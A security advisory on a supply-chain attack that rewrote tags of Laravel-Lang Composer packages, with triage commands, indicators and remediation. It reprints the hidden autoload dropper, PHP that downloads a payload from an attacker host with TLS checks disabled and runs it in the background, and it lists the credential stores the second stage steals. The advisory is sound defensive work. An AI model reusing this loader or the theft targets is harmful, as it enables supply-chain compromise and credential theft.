critical
CVE
Not assigned
CWE
CWE-506, CWE-1357
Affected Surface
laravel-lang/lang rewritten tags, laravel-lang/http-statuses tags through v3.4.5, laravel-lang/attributes rewritten tags, laravel-lang/actions rewritten tags, Composer installs or updates resolving Laravel-Lang tags after 2026-05-22 22:32 UTC, Laravel, Symfony, CI, and developer environments that executed vendor/autoload.php from poisoned artifacts
Between 22:32 UTC on 22 May 2026 and roughly midnight UTC on 23 May, attackers rewrote version tags across the community-maintained Laravel-Lang GitHub organization. The impacted projects are not Laravel core, but they are common localization dependencies in Laravel applications and build pipelines.
The affected Composer packages are:
laravel-lang/lang: Phoenix reports 502 rewritten tags.laravel-lang/http-statuses: every tag fromv1.0.0throughv3.4.5.laravel-lang/attributes: Phoenix reports 86 rewritten tags.laravel-lang/actions: Phoenix reports 46 rewritten tags.
This is hundreds of poisoned tags and package versions, not hundreds of distinct packages. That distinction matters for triage: search for four package names first, then verify resolved source or dist commit SHAs.
Why tag rewrites bypassed normal pinning
Composer resolves version constraints to tags. If a tag is moved, a later composer update can resolve the same trusted version string to different code. A lockfile generated before the rewrite and installed without re-resolution is less exposed; a lockfile regenerated after the rewrite can pin the malicious commit.
The reported malicious commits did not need to land on the official default branch. A tag can point at a commit that GitHub displays as not belonging to any branch on the repository. Packagist then follows the tag reference and exposes the poisoned artifact under a version string consumers already trust.
Triage should therefore inspect composer.lock, not only composer.json:
rg '"name": "laravel-lang/(lang|http-statuses|attributes|actions)"' composer.lock
rg '"source"|reference|dist|time' composer.lock
Flag lockfiles whose packages[].time or resolved reference maps to the post-2026-05-22T22:32:00Z malicious tag window.
Autoload as the execution primitive
The injected change adds a file autoload entry to composer.json:
{
"autoload": {
"files": [
"src/helpers.php"
]
}
}
autoload.files is eager. Unlike PSR-4 class loading, Composer includes each listed file as soon as the application loads vendor/autoload.php. In a Laravel or Symfony application that is effectively every request, every worker bootstrap, every queued job, and many CI scripts.
The malicious src/helpers.php was made to look like a localization helper. The relevant behavior is the self-executing dropper below the benign functions:
$host = implode('', array_map('chr', [/* integer encoded C2 */]));
$url = "https://{$host}/payload";
$context = stream_context_create([
'http' => ['header' => "User-Agent: Mozilla/5.0\r\n"],
'ssl' => ['verify_peer' => false, 'verify_peer_name' => false],
]);
$payload = @file_get_contents($url, false, $context);
$path = sys_get_temp_dir() . '/.laravel_locale/' . bin2hex(random_bytes(6)) . '.php';
@file_put_contents($path, $payload);
@exec('php ' . escapeshellarg($path) . ' > /dev/null 2>&1 &');
On Windows, reporting describes a VBS launcher path that silently runs the downloaded stage through cscript. On Linux and macOS, the PHP process detaches the second stage in the background.
Stage two behavior
The second stage is a PHP credential stealer fetched from flipboxstudio[.]info/payload and exfiltrating to flipboxstudio[.]info/exfil. Public reports differ slightly on collector count because the payload evolved, but they agree on the important point: this was not a narrow Laravel secret grabber.
Observed target classes include:
- Cloud credentials from environment variables,
~/.aws/credentials, GCP and Azure CLI caches, and EC2 metadata at169.254.169.254. - Kubernetes service account tokens, local
kubeconfig, Helm registry config, and Docker auth. - Vault tokens and recursive KV secret reads where token scope allows it.
- CI/CD secrets from GitHub Actions, Jenkins, GitLab Runner, CircleCI, TravisCI, and ArgoCD material.
- GitHub, GitLab, Bitbucket,
.git-credentials,.gitconfig,.netrc,.npmrc,.pypirc,.gem/credentials, andcomposer/auth.json. - SSH private keys, shell history,
.envfiles, database configs,wp-config.php,docker-compose.yml, and secret-like YAML files. - Browser stores, password manager files, VPN configs, messaging tokens, and cryptocurrency wallet material.
Phoenix and StepSecurity both describe fast detonation in CI. A representative process tree from public analysis looks like:
php vendor/autoload.php
-> sh -c php /tmp/.laravel_locale/<12-hex>.php &
-> php /tmp/.laravel_locale/<12-hex>.php # reparented to PID 1
-> nohup /tmp/.<8-hex> &
-> /tmp/.<8-hex> # deleted from disk after launch
That reparenting and self-deletion pattern means endpoint snapshots taken seconds later can miss the original files. Network and process telemetry are more reliable than filesystem state alone.
Indicators
Package indicators:
laravel-lang/langlaravel-lang/http-statuseslaravel-lang/attributeslaravel-lang/actionssrc/helpers.phpinside a vendoredlaravel-lang/*package.composer.jsonwithautoload.filespointing atsrc/helpers.php.
Network indicators:
flipboxstudio[.]infohttps://flipboxstudio[.]info/payloadhttps://flipboxstudio[.]info/exfil
Host indicators:
/tmp/.laravel_locale/<12-hex>.php/tmp/.<8-hex>ELF-style payload names.- Windows
.vbslaunchers under the temp.laravel_localepath. - Orphaned
phpor deleted temporary executables withppid=1. - Git tag commits authored as generic
Your Name <you@example.com>in the post-22:32 UTC window.
Remediation
Stop composer update and any non-lockfile composer install path for projects that can resolve the four packages. If an affected install or update ran after 22:32 UTC on 22 May 2026, treat the host, container, CI runner, or developer workstation as compromised.
Immediate actions:
- Block
flipboxstudio.infoat DNS, proxy, egress firewall, and runner egress layers. - Preserve
composer.lock, Composer cache artifacts, CI logs, process telemetry, DNS logs, proxy logs, cloud audit logs, and Kubernetes audit logs before cleanup. - Search all repositories and build images for the four package names and for
src/helpers.phpundervendor/laravel-lang. - Rotate secrets reachable from the execution context: cloud keys, GitHub tokens, deploy keys, registry credentials, Kubernetes tokens, Vault tokens, SSH keys, Laravel
APP_KEY, database credentials, and CI secrets. - Rebuild affected hosts, containers, and runners from known-good images.
Do not rely on pinning to a version string until maintainers and registries confirm clean tags. The safe recovery pattern is to pin to an independently verified pre-compromise commit SHA or remove the dependency until clean releases are available.
References
- Socket: Laravel Lang compromised with RCE backdoor
- Aikido: Laravel-Lang supply chain attack
- Phoenix Security: Laravel Lang Composer compromise
- StepSecurity: Laravel-Lang supply chain attack
- Composer autoload files documentation
- CWE-506 Embedded Malicious Code
- CWE-1357 Reliance on Insufficiently Trustworthy Component